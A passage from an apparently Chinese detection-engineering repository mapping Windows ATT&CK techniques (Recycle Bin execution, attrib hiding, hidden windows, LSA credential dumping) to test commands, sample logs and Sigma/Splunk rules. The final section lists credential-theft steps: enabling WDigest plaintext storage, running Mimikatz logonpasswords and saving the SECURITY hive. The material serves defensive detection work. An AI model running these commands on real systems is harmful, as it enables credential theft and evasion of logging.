to detect ETW manipulation via logman/wpr\n  etw_tool_use:\n    EventID: 1\n    Image|endswith:\n      - '\\logman.exe'\n      - '\\wpr.exe'\n    CommandLine|contains:\n      - 'stop'\n      - 'delete'\n      - 'trace'\n  # Rule to detect direct ETW registry modifications\n  etw_registry_mod:\n    EventID:\n      - 12 # Registry object added\n      - 13 # Registry object value modified\n    TargetObject|contains:\n      - 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\'\n      - 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Publishers\\'\n  condition: 1 of sysmon_service_tampering or sysmon_config_change or etw_tool_use or etw_registry_mod\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1562.006\n```\n\n### 建议\n\n  * **全面日志覆盖：** 确保Sysmon已部署且配置全面，尤其关注进程创建（Event ID 1）、文件操作（Event ID 11）、注册表操作（Event ID 12/13/14）和Sysmon自身配置更改（Event ID 16）。\n  * **服务状态监控：除了监控进程创建，还应监控Windows系统日志中的服务控制管理器事件(Event ID 7036/7040)**，以检测关键安全服务的停止或禁用。\n  * **行为链分析：** 攻击者通常不会单独执行这些操作。将停止日志采集的行为与之前的侦察、执行或持久化行为关联起来，以构建完整的攻击链。\n  * **异常流量检测：** 如果日志通过网络转发，监控SIEM中日志量或特定源主机日志突然减少的情况。防火墙日志（如果可用）也可用于检测出站日志转发端口的异常阻止。\n  * **告警与响应：** 将停止日志采集操作标记为高危行为，并设置自动告警。一旦检测到，应立即调查，并考虑自动恢复日志收集机制。\n\n## 参考推荐\n\n- MITRE-ATT\\&CK: T1562.006  \n  https://attack.mitre.org/techniques/T1562/006/\n- 如何利用ETW（Event Tracing for Windows）记录日志  \n  https://www.cnblogs.com/artech/p/logging-via-etw.html\n"
  },
  {
    "path": "Windows/07逃避防御/T1564.001-Win-发现攻击者在回收站中隐藏恶意软件.md",
    "content": "# T1564.001-Win-发现攻击者在回收站中隐藏恶意软件\n\n## 描述\n\n攻击者可能通过将文件或目录设置为隐藏来规避检测（MITRE ATT&CK T1564.001）。操作系统通常支持“隐藏”文件功能，以防止用户意外修改关键系统文件。在Windows中，隐藏文件通过GUI文件资源管理器或常规命令（如`dir`）不可见，需使用`dir /a`或设置显示隐藏文件。在Linux和macOS中，以`.`开头的文件（如`.ssh`）默认隐藏，需使用`ls -a`查看。macOS还支持`UF_HIDDEN`标志，隐藏文件在Finder中不可见。\n\n攻击者可利用这些机制隐藏恶意文件或文件夹，特别是在非典型位置（如Windows的回收站`$Recycle.Bin`），以逃避用户和安全工具的检测。`$Recycle.Bin`是Windows系统中存储已删除文件的隐藏文件夹，位于每个磁盘根目录（Windows Vista前为`Recycler`，之后为`$Recycle.Bin`）。攻击者可能将恶意可执行文件置于此文件夹，利用其隐藏属性和用户忽视的特性执行恶意活动。\n\n## 测试案例\n\n### 测试1：执行隐藏在回收站中的恶意程序\n\n攻击者将恶意可执行文件（如`nbtscan.exe`模拟恶意软件）置于`$Recycle.Bin`并直接调用执行。\n\n**攻击命令**（需管理员权限或适当访问权限）：\n```cmd\nC:\\$Recycle.Bin\\$R54R99P.exe\n```\n\n**准备步骤**：\n1. 将恶意文件（如`nbtscan.exe`）复制到`C:\\$Recycle.Bin`（需显示隐藏文件或直接访问）。\n2. 重命名文件为随机名称（如`$R54R99P.exe`），模拟攻击者伪装。\n3. 通过命令提示符执行文件。\n\n**清理命令**：\n```cmd\ndel C:\\$Recycle.Bin\\$R54R99P.exe\n```\n\n**说明**：\n- 攻击者利用`$Recycle.Bin`的隐藏属性，降低被用户或安全工具发现的概率。\n- 恶意文件可能通过其他攻击向量（如钓鱼、RCE）放置到回收站。\n\n## 检测日志\n\n- **Windows安全日志**：Event ID 4688（进程创建），记录从`$Recycle.Bin`启动的可执行文件（需启用进程跟踪审核）。\n- **Sysmon日志**：\n  - Event ID 1（进程创建），提供详细的命令行和父进程信息。\n  - Event ID 11（文件创建），记录恶意文件在`$Recycle.Bin`的创建。\n\n## 测试复现\n\n### 测试1：执行回收站中的恶意程序\n\n**测试环境**：Windows 10\n\n**准备**：\n1. 复制`nbtscan.exe`（模拟恶意文件）到`C:\\$Recycle.Bin`，重命名为`$R54R99P.exe`。\n2. 确保已启用显示隐藏文件或直接通过路径访问。\n\n**攻击命令**：\n```cmd\nC:\\Windows\\system32>C:\\$Recycle.Bin\\$R54R99P.exe\nnbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/\nusage: C:\\$Recycle.Bin\\$R54R99P.exe [options] target [targets...]\n   Targets are lists of IP addresses, DNS names, or address ranges...\n   -V        show Version information\n   -f        show Full NBT resource record responses (recommended)\n   ...\n```\n\n**结果**：\n- 程序成功执行，输出`nbtscan`的使用信息。\n- 无GUI窗口提示，表明攻击者可通过命令行静默运行恶意代码。\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2021/04/06 17:39:04\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n关键字: 审核成功\n用户: N/A\n计算机: 12306BR0B4DD.361a.com\n描述:\n已创建新进程。\n\n创建者主题:\n  安全 ID: 361A\\12306br0\n  帐户名: 12306br0\n  帐户域: 361A\n  登录 ID: 0x507C3\n\n目标主题:\n  安全 ID: NULL SID\n  帐户名: -\n  帐户域: -\n  登录 ID: 0x0\n\n进程信息:\n  新进程 ID: 0x1224\n  新进程名称: C:\\$Recycle.Bin\\$R54R99P.exe\n  令牌提升类型: %%1937 (TokenElevationTypeLimited)\n  强制性标签: Mandatory Label\\High Mandatory Level\n  创建者进程 ID: 0x15d8\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: C:\\$Recycle.Bin\\$R54R99P.exe\n```\n\n**分析**：\n- 日志记录了从`C:\\$Recycle.Bin\\$R54R99P.exe`启动的进程，表明可疑行为。\n- 父进程为`cmd.exe`，提示通过命令提示符触发。\n- 命令行明确指向回收站路径，易于检测。\n\n### Sysmon日志（Event ID 1：进程创建）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2021/04/06 17:39:04\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n用户: SYSTEM\n计算机: 12306BR0B4DD.361a.com\n描述:\nProcess Create:\nRuleName: technique_id=T1564.001,technique_name=Hidden Files and Directories\nUtcTime: 2021-04-06 09:39:04.123\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 4644\nImage: C:\\$Recycle.Bin\\$R54R99P.exe\nFileVersion: 1.0.35\nDescription: NBTScan Tool\nCommandLine: C:\\$Recycle.Bin\\$R54R99P.exe\nCurrentDirectory: C:\\Windows\\system32\\\nUser: 361A\\12306br0\nLogonGuid: {12345678-1234-5678-1234-567890123457}\nLogonId: 0x507C3\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=...,MD5=...,SHA256=...\nParentProcessGuid: {12345678-1234-5678-1234-567890123458}\nParentProcessId: 5592\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: cmd.exe\n```\n\n**分析**：\n- Sysmon提供更详细的信息，包括文件哈希和完整命令行。\n- 确认恶意文件从回收站路径执行，父进程为`cmd.exe`。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测回收站中隐藏的恶意软件执行\ndescription: Detects execution of programs hidden in the Windows Recycle Bin, indicating potential malicious activity.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1564/001/\n  - https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/Malware_In_recyclebin.txt\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|contains: '\\$Recycle.Bin\\'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate administrative tools executed from Recycle Bin (rare)\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.t1564.001\n```\n\n**规则说明**：\n- 检测从`$Recycle.Bin`路径启动的进程创建事件，覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少误报（如管理员误操作）。\n\n### 建议\n\n1. **监控回收站路径**：\n   - 使用Sysmon（Event ID 1）捕获从`$Recycle.Bin`启动的进程，检查可执行文件路径。\n   - 监控Event ID 11（文件创建），检测恶意文件在`$Recycle.Bin`的写入。\n\n2. **启用命令行审计**：\n   - 配置Windows安全策略，启用进程跟踪审核（Event ID 4688）并记录命令行参数（需Windows 7+支持）。\n   - 确保Sysmon配置包含命令行和文件操作信息。\n\n3. **父进程分析**：\n   - 检查启动回收站程序的父进程（如`cmd.exe`、`powershell.exe`、`schtasks.exe`）。\n   - 非典型父进程（如`rundll32.exe`、`msiexec.exe`）启动回收站程序需高度关注。\n\n4. **基线化行为**：\n   - 正常情况下，`$Recycle.Bin`不应包含可执行文件或被直接调用。\n   - 建立回收站访问和执行的基线，任何偏离均视为可疑。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测回收站中的异常执行。\n   - 设置高优先级告警，针对`$Recycle.Bin`路径的进程创建。\n\n6. **行为链关联**：\n   - 将回收站执行与其他可疑行为（如文件下载、网络连接、注册表修改）关联，识别攻击链。\n   - 例如，检测回收站程序执行后是否出现C2通信或文件加密。\n\n7. **限制回收站访问**：\n   - 使用组策略或文件权限限制非管理员用户对`$Recycle.Bin`的写入权限。\n   - 监控未经授权的文件放置或执行尝试。\n\n8. **测试与验证**：\n   - 在测试环境中模拟将恶意文件置于回收站并执行，验证检测规则有效性。\n   - 调整规则阈值，排除合法操作的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1564.001  \n  <https://attack.mitre.org/techniques/T1564/001/>\n- Windows 10系统$Recycle.Bin删除方法  \n  <https://www.pconline.com.cn/win10/1102/11023668.html>\n- Microsoft 365 Defender狩猎查询：回收站中的恶意软件  \n  <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/Malware_In_recyclebin.txt>\n- Atomic Red Team T1564.001  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1564.001-Win-隐藏的文件和目录.md",
    "content": "# T1564.001-Win-隐藏的文件和目录\n\n## 描述\n\n攻击者可能会将文件和目录设置为隐藏，以逃避检测机制。为了防止普通用户意外更改系统上的特殊文件，大多数操作系统都具有“隐藏”文件的功能。当用户使用GUI浏览文件系统或在命令行上使用常规命令时，这些文件不会显示。用户必须通过一系列图形用户界面（GUI）提示或使用命令行开关（对于Windows为`dir /a`，对于Linux和macOS为`ls –a`）明确要求显示隐藏文件。\n\n在Linux和macOS上，用户只需将“.”作为文件或文件夹名称的第一个字符即可将其标记为隐藏。默认情况下，以“.”开头的文件和文件夹在Finder应用程序和标准命令行实用程序（如`ls`）中是隐藏的。用户必须专门更改设置才能查看这些文件。\n\nmacOS上的文件也可以用`UF_HIDDEN`标志标记，这可以防止在Finder.app中看到它们，但仍然允许在Terminal.app中看到它们。在Windows上，攻击者可以使用`attrib.exe`二进制文件将特定文件标记为隐藏。许多应用程序都会创建这些隐藏的文件和文件夹来存储信息，以免使用户的工作空间变得混乱。例如，SSH实用程序会创建一个`.ssh`文件夹，该文件夹处于隐藏状态，其中包含用户的已知主机和密钥。\n\n攻击者可以利用此优势来隐藏系统上任何位置的文件和文件夹，并逃避不包含对隐藏文件的调查的典型用户或系统分析。\n\n## 测试案例\n\n`Attrib.exe`是位于`C:\\Windows\\System32`文件夹中的Windows操作系统文件。它允许您显示或更改文件属性。`attrib`命令的功能是设置、更改或删除这些文件属性。使用`attrib`命令，可以使文件为只读、存档、系统和隐藏。\n\n**什么是文件属性？**\n\n文件属性是与计算机上的任何文件相关联的元数据，描述或跟踪文件创建或修改、文件大小、文件扩展名和文件权限等信息。\n\n## 检测日志\n\n* Windows Sysmon日志\n* Windows Security Event Logs\n\n---\n\n## 测试复现\n\n`Attrib`命令可以让文件夹彻底地隐藏起来，就算是在文件夹选项中设置了显示隐藏文件夹，也无法显示出来的。只能通过路径访问的方式打开文件夹。\n\n```yml\nC:\\Users\\splaybow>help attrib\n显示或更改文件属性。\nATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [+I | -I]\n       [drive:][path][filename] [/S [/D] [/L]]\n  + 设置属性。\n  - 清除属性。\n  R 只读文件属性。\n  A 存档文件属性。\n  S 系统文件属性。\n  H 隐藏文件属性。\n  I 无内容索引文件属性。\n  [drive:][path][filename]\n      指定 attrib 要处理的文件。\n  /S 处理当前文件夹及其所有子文件夹中的匹配文件。\n  /D 也处理文件夹。\n  /L 处理符号链接和符号链接目标的属性。\n```\n\n**示例命令：**\n\n1.  **隐藏文件:**\n    ```powershell\n    attrib +h C:\\Users\\Public\\malicious.exe\n    ```\n2.  **隐藏文件夹（并使其成为系统文件，进一步隐藏）:**\n    ```powershell\n    attrib +h +s C:\\Users\\Public\\HiddenFolder\n    ```\n3.  **移除隐藏属性:**\n    ```powershell\n    attrib -h C:\\Users\\Public\\malicious.exe\n    ```\n4.  **移除隐藏和系统属性:**\n    ```powershell\n    attrib -h -s C:\\Users\\Public\\HiddenFolder\n    ```\n\n## 测试留痕\n\n* Windows Sysmon (Event ID 1: Process Creation)\n* Windows Security Event Logs (Event ID 4688: A new process has been created -如果启用命令行审计)\n\n## 检测规则/思路\n\n监视文件系统和Shell命令，以查找以“.”开头的文件(在Linux/macOS上)和Windows命令行使用`attrib.exe`添加隐藏属性。\n\n### Splunk规则\n\n```yml\n# 检测attrib.exe设置系统文件属性(+s)\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventCode=1 Image=\"*\\\\attrib.exe\" CommandLine=\"*+s*\")\n\n# 检测attrib.exe设置隐藏文件属性(+h)\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventCode=1 Image=\"*\\\\attrib.exe\" CommandLine=\"*+h*\")\n\n# 结合检测系统和隐藏属性\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventCode=1 Image=\"*\\\\attrib.exe\" CommandLine=\"*+s*+h*\")\n```\n\n### Sigma规则(示例)\n\n```yml\ntitle: Attrib.exe Used to Hide Files or Directories\nid: c4e7d8b5-1a2b-4c3d-8f9e-0a1b2c3d4e5f\nstatus: experimental\ndescription: Detects the use of attrib.exe to set hidden (+h) or system (+s) attributes on files or directories, which can be used by attackers to evade detection.\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\attrib.exe'\n    CommandLine|contains:\n      - '+h'\n      - '+s'\n  condition: selection\nlevel: medium\ntags:\n  - attack.defense_evasion\n  - attack.t1564.001\n```\n\n### 建议\n\n* **命令行审计：**确保在安全事件日志中启用命令行进程创建审计(Event ID 4688)，以便捕获`attrib.exe`的完整命令行参数。\n* **异常行为检测：**关注非典型用户或应用程序对关键系统目录或用户目录下的文件使用`attrib +h`或`attrib +s`命令。例如，如果`svchost.exe`或其他不相关的进程调用`attrib.exe`，这可能是一个可疑迹象。\n* **基线化：**对正常系统操作中`attrib.exe`的使用进行基线化，以识别异常模式。\n* **多源关联：**将`attrib.exe`的使用与文件创建/修改事件(Sysmon Event ID 11)或其他恶意活动指标进行关联，以构建更全面的威胁视图。\n* **限制不必要的使用：**考虑限制普通用户执行`attrib.exe`命令的能力，尤其是在关键系统路径中。\n\n## 参考推荐\n\n- MITRE-ATT&CK: T1564-001  \n  <https://attack.mitre.org/techniques/T1564/001/>\n- CMD中使用attrib命令设置文件只读、隐藏属性详解  \n  <https://blog.csdn.net/whatday/article/details/52752555>\n"
  },
  {
    "path": "Windows/07逃避防御/T1564.003-Win-隐藏窗口.md",
    "content": "、# T1564.003-Win-隐藏窗口\n\n## 描述\n\n攻击者可能通过隐藏窗口将恶意活动从用户视线中移除，以规避检测（MITRE ATT&CK T1564.003）。正常情况下，应用程序执行操作时会显示可见窗口，但攻击者可利用特定功能隐藏这些窗口，防止用户察觉异常。系统管理员也可能使用类似技术在执行管理任务时避免干扰用户。\n\n在Windows环境中，脚本语言（如PowerShell、JScript、VBScript）提供了隐藏窗口的功能。例如，PowerShell命令中的`-WindowStyle Hidden`参数可启动无可见窗口的进程。在macOS中，应用程序的属性列表（plist）文件可通过设置`apple.awt.UIElement`标记阻止应用图标出现在Dock中，常用于系统托盘应用。\n\n攻击者滥用这些功能，通过隐藏窗口执行恶意代码（如下载Payload、运行后门），避免触发用户或安全工具的警觉。\n\n## 测试案例\n\n### 测试1：使用PowerShell隐藏窗口执行命令\n\n攻击者使用PowerShell的`-WindowStyle Hidden`参数运行脚本或命令，无可见窗口。\n\n**攻击命令**（在命令提示符或PowerShell中运行）：\n```powershell\npowershell.exe -WindowStyle Hidden -Command \"Write-Output 'Test' > C:\\Temp\\hidden_test.txt\"\n```\n\n**说明**：\n- 命令以隐藏窗口模式运行，输出文本到`C:\\Temp\\hidden_test.txt`。\n- 用户无法看到PowerShell窗口，但命令已执行。\n\n**清理命令**：\n```cmd\ndel C:\\Temp\\hidden_test.txt\n```\n\n### 测试2：使用VBScript隐藏窗口运行命令\n\n攻击者通过`WScript.Shell`对象的`Run`方法以隐藏窗口模式执行命令。\n\n**VBScript代码**（保存为`hidden.vbs`）：\n```vbscript\nSet WShell = CreateObject(\"WScript.Shell\")\nWShell.Run \"cmd.exe /c echo Test > C:\\Temp\\hidden_vbs_test.txt\", 0, True\n```\n\n**攻击命令**：\n```cmd\nwscript.exe C:\\Temp\\hidden.vbs\n```\n\n**说明**：\n- `Run`方法的`0`参数表示隐藏窗口。\n- 命令将输出写入`C:\\Temp\\hidden_vbs_test.txt`。\n\n**清理命令**：\n```cmd\ndel C:\\Temp\\hidden_vbs_test.txt\ndel C:\\Temp\\hidden.vbs\n```\n\n## 检测日志\n\n- **Windows Sysmon日志**：通过Event ID 1（进程创建）捕获`powershell.exe`、`wscript.exe`或`cscript.exe`的执行，记录命令行参数。\n- **Windows PowerShell日志**：记录PowerShell命令执行细节（需启用PowerShell日志记录）。\n- **Windows安全日志**：通过Event ID 4688（进程创建）记录相关进程（需启用进程跟踪审核）。\n\n## 测试复现\n\n### 测试1：PowerShell隐藏窗口\n\n**测试环境**：Windows 10\n\n**攻击命令**：\n```powershell\npowershell.exe -WindowStyle Hidden -Command \"Write-Output 'Test' > C:\\Temp\\hidden_test.txt\"\n```\n\n**结果**：\n- 无可见PowerShell窗口，`C:\\Temp\\hidden_test.txt`文件生成，内容为`Test`。\n- 命令成功执行，未触发用户界面提示。\n\n### 测试2：VBScript隐藏窗口\n\n**测试环境**：Windows 10\n\n**VBScript文件**（`hidden.vbs`）：\n```vbscript\nSet WShell = CreateObject(\"WScript.Shell\")\nWShell.Run \"cmd.exe /c echo Test > C:\\Temp\\hidden_vbs_test.txt\", 0, True\n```\n\n**攻击命令**：\n```cmd\nwscript.exe C:\\Temp\\hidden.vbs\n```\n\n**结果**：\n- 无可见命令提示符窗口，`C:\\Temp\\hidden_vbs_test.txt`文件生成，内容为`Test`。\n- 脚本执行成功，未显示用户界面。\n\n## 测试留痕\n\n### Sysmon日志（Event ID 1：进程创建）\n\n**测试1：PowerShell隐藏窗口**：\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n用户: SYSTEM\n计算机: hostname.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1564.003,technique_name=Hidden Window\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {12345678-1234-5678-1234-567890123456}\nProcessId: 1234\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\nFileVersion: 10.0.19041.1\nDescription: Windows PowerShell\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: PowerShell.EXE\nCommandLine: powershell.exe -WindowStyle Hidden -Command \"Write-Output 'Test' > C:\\Temp\\hidden_test.txt\"\nCurrentDirectory: C:\\Windows\\system32\\\nUser: QAX\\Administrator\nLogonGuid: {12345678-1234-5678-1234-567890123457}\nLogonId: 0x123456\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=...,MD5=...,SHA256=...\nParentProcessGuid: {12345678-1234-5678-1234-567890123458}\nParentProcessId: 5678\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: cmd.exe\nParentUser: QAX\\Administrator\n```\n\n**分析**：\n- 日志记录了`powershell.exe`的执行，命令行包含`-WindowStyle Hidden`，表明隐藏窗口行为。\n- 输出文件路径（`C:\\Temp\\hidden_test.txt`）提示可能的文件操作。\n\n**测试2：VBScript隐藏窗口**：\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:01:00\n事件 ID: 1\n任务类别: Process Create (rule: ProcessCreate)\n级别: 信息\n用户: SYSTEM\n计算机: hostname.qax.com\n描述:\nProcess Create:\nRuleName: technique_id=T1564.003,technique_name=Hidden Window\nUtcTime: 2023-10-01 02:01:00.123\nProcessGuid: {12345678-1234-5678-1234-567890123459}\nProcessId: 5678\nImage: C:\\Windows\\System32\\wscript.exe\nFileVersion: 5.812.10240.16384\nDescription: Microsoft ® Windows Based Script Host\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: wscript.exe\nCommandLine: wscript.exe C:\\Temp\\hidden.vbs\nCurrentDirectory: C:\\Windows\\system32\\\nUser: QAX\\Administrator\nLogonGuid: {12345678-1234-5678-1234-567890123457}\nLogonId: 0x123456\nTerminalSessionId: 1\nIntegrityLevel: High\nHashes: SHA1=...,MD5=...,SHA256=...\nParentProcessGuid: {12345678-1234-5678-1234-567890123458}\nParentProcessId: 5678\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: cmd.exe\nParentUser: QAX\\Administrator\n```\n\n**分析**：\n- 日志记录了`wscript.exe`执行`hidden.vbs`，但未直接显示隐藏窗口参数（需结合文件内容分析）。\n- 后续`cmd.exe`进程（由VBScript触发）可能记录隐藏执行的命令。\n\n## 检测规则/思路\n\n### Splunk规则\n\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventCode=1 Image=\"*\\\\powershell.exe\" CommandLine=\"*-WindowStyle Hidden*\")\n```\n\n**说明**：\n- 检测Sysmon日志中`powershell.exe`的进程创建事件（EventCode=1），命令行包含`-WindowStyle Hidden`。\n- 适用于Splunk环境，需调整为其他SIEM系统的查询语法。\n\n### Sigma规则\n\n```yaml\ntitle: 检测PowerShell或WSH隐藏窗口执行\ndescription: Detects execution of PowerShell or Windows Script Host (wscript/cscript) with hidden window parameters, indicating potential malicious activity.\nstatus: experimental\ndate: 2023/10/01\ntags:\n  - attack.defense_evasion\n  - attack.t1564.003\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection_powershell:\n    EventID: 1\n    Image|endswith: '\\powershell.exe'\n    CommandLine|contains: '-WindowStyle Hidden'\n  selection_wsh:\n    EventID: 1\n    Image|endswith:\n      - '\\wscript.exe'\n      - '\\cscript.exe'\n    CommandLine|contains: '.vbs'\n  condition: selection_powershell or selection_wsh\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - Legitimate administrative scripts using hidden windows\nlevel: medium\n```\n\n**规则说明**：\n- 检测`powershell.exe`使用`-WindowStyle Hidden`或`wscript.exe`/`cscript.exe`执行VBS脚本的进程创建事件。\n- 规则为实验性，需测试以减少合法管理脚本的误报。\n\n### 建议\n\n1. **监控隐藏窗口参数**：\n   - 使用Sysmon（Event ID 1）捕获`powershell.exe`、`wscript.exe`和`cscript.exe`的执行，检查命令行是否包含`-WindowStyle Hidden`或`.vbs`。\n   - 关注非管理员用户或非预期环境运行隐藏窗口命令的行为。\n\n2. **启用PowerShell日志**：\n   - 配置PowerShell日志记录（模块日志、脚本块日志），捕获详细的命令执行内容。\n   - 在组策略中启用：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志`。\n\n3. **检测文件操作**：\n   - 监控由隐藏窗口进程生成的文件（如`C:\\Temp\\hidden_test.txt`），使用Sysmon Event ID 11（文件创建）。\n   - 检查用户目录（如`%APPDATA%`、`%TEMP%`）中的异常文件写入。\n\n4. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析Sysmon和PowerShell日志，检测隐藏窗口行为。\n   - 设置告警规则，针对非预期用户或系统运行隐藏窗口命令。\n\n5. **限制脚本执行**：\n   - 使用AppLocker或组策略限制`powershell.exe`、`wscript.exe`和`cscript.exe`的执行，仅允许在特定场景下运行。\n   - 配置PowerShell的约束语言模式（Constrained Language Mode），限制恶意脚本功能。\n\n6. **关联行为分析**：\n   - 将隐藏窗口执行与其他可疑行为（如网络连接、异常进程）关联，识别攻击链。\n   - 例如，检测隐藏窗口命令后是否触发了下载或C2通信。\n\n7. **macOS检测**：\n   - 监控`plist`文件修改（如包含`apple.awt.UIElement`），使用文件完整性监控工具（如osquery）。\n   - 检查异常的Java应用或系统托盘进程。\n\n8. **测试与验证**：\n   - 在测试环境中模拟隐藏窗口攻击（如PowerShell、VBScript），验证检测规则有效性。\n   - 调整规则阈值，排除合法管理脚本的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1564.003  \n  <https://attack.mitre.org/techniques/T1564/003/>\n- PowerShell安全专题之攻击检测篇  \n  <https://zhuanlan.zhihu.com/p/25226349>\n- Atomic Red Team T1564.003  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.003/T1564.003.md>\n"
  },
  {
    "path": "Windows/08凭证访问/T1003-004-win-LSA-mimikatz凭证转储.md",
    "content": "# T1003.004-Win-基于LSA凭证获取\n\n## 描述\n\n凭据转储（Credential Dumping，MITRE ATT&CK T1003.004）涉及攻击者通过访问本地安全机构（Local Security Authority，LSA）提取凭据材料，如本地或域账户密码、服务账户凭据等。LSA机密存储于注册表`HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets`或LSASS（Local Security Authority Subsystem Service，lsass.exe）进程内存中。在Windows 2000至Server 2008环境中，LSASS内存可能以明文存储密码（支持WDigest或SSP认证）。Windows 8.1及Server 2012起，微软增强了安全性，默认不再以明文存储密码，但仍可通过特定配置提取。攻击者需SYSTEM权限，可使用Mimikatz、reg.exe或pwdump7等工具从注册表或内存中提取凭据。此技术常用于横向移动或权限提升。\n\n## 测试案例\n\n### 测试环境\n- 系统：Windows Server 2012或Windows 10（WDigest启用）\n- 工具：Mimikatz、reg.exe\n- 要求：SYSTEM权限、域环境（abcc.org，可选）、启用Sysmon和Windows安全日志审计\n- 用户：Administrator（密码：Password123）\n- 配置：启用WDigest明文存储（测试需要）\n\n### 测试准备\n1. 确认SYSTEM权限：\n   ```cmd\n   whoami /all\n   ```\n   - 确保运行于SYSTEM上下文（可通过PsExec：`psexec -s -i cmd`）。\n2. 启用WDigest明文存储（Windows 8.1+需手动启用）：\n   ```cmd\n   reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG_DWORD /d 1\n   ```\n3. 启用日志审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。\n   - 安装Sysmon：<https://docs.microsoft.com/sysinternals/downloads/sysmon>\n     - 配置：启用事件ID1（进程创建）、7（映像加载）、13（注册表操作）。\n4. 下载Mimikatz：\n   - URL：<https://github.com/gentilkiwi/mimikatz>\n   - 放置于本地（C:\\Tools\\mimikatz）。\n5. 确保活跃用户会话（生成LSASS凭据）。\n\n### 测试步骤\n1. **使用Mimikatz从LSASS内存提取凭据**：\n   ```cmd\n   cd C:\\Tools\\mimikatz\n   mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit\n   ```\n   - 输出示例：\n     ```\n     wdigest:\n       * Username: Administrator\n       * Domain: ABCC\n       * Password: Password123\n     ```\n2. **使用reg.exe导出LSA机密**：\n   ```cmd\n   reg save HKEY_LOCAL_MACHINE\\SECURITY C:\\Temp\\security.hiv\n   ```\n   - 验证文件：`dir C:\\Temp\\security.hiv`\n3. **离线分析LSA机密**（可选）：\n   - 使用Mimikatz解析：\n     ```cmd\n     mimikatz.exe \"lsadump::secrets /system:C:\\Temp\\security.hiv\" exit\n     ```\n     - 输出示例：\n       ```\n       * Secret: DefaultPassword\n         Password: AutoLogonPass123\n       ```\n\n### 参考资源\n- Mimikatz文档：<https://github.com/gentilkiwi/mimikatz>\n- LSA凭据提取：<https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/>\n- WDigest安全：<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-allow-local-system-to-use-computer-identity-for-ntlm>\n\n## 检测日志\n\n### 数据来源\n- **Sysmon日志**：\n  - 事件ID1：进程创建（mimikatz.exe、reg.exe）\n  - 事件ID7：映像加载（lsass.exe相关模块）\n  - 事件ID13：注册表操作（HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets）\n- **Windows安全日志**：\n  - 事件ID4688：进程创建（mimikatz.exe、reg.exe）\n  - 事件ID4673：敏感权限调用（如SeDebugPrivilege）\n  - 事件ID4656：注册表访问（需启用对象访问审计）\n- **文件系统**：\n  - 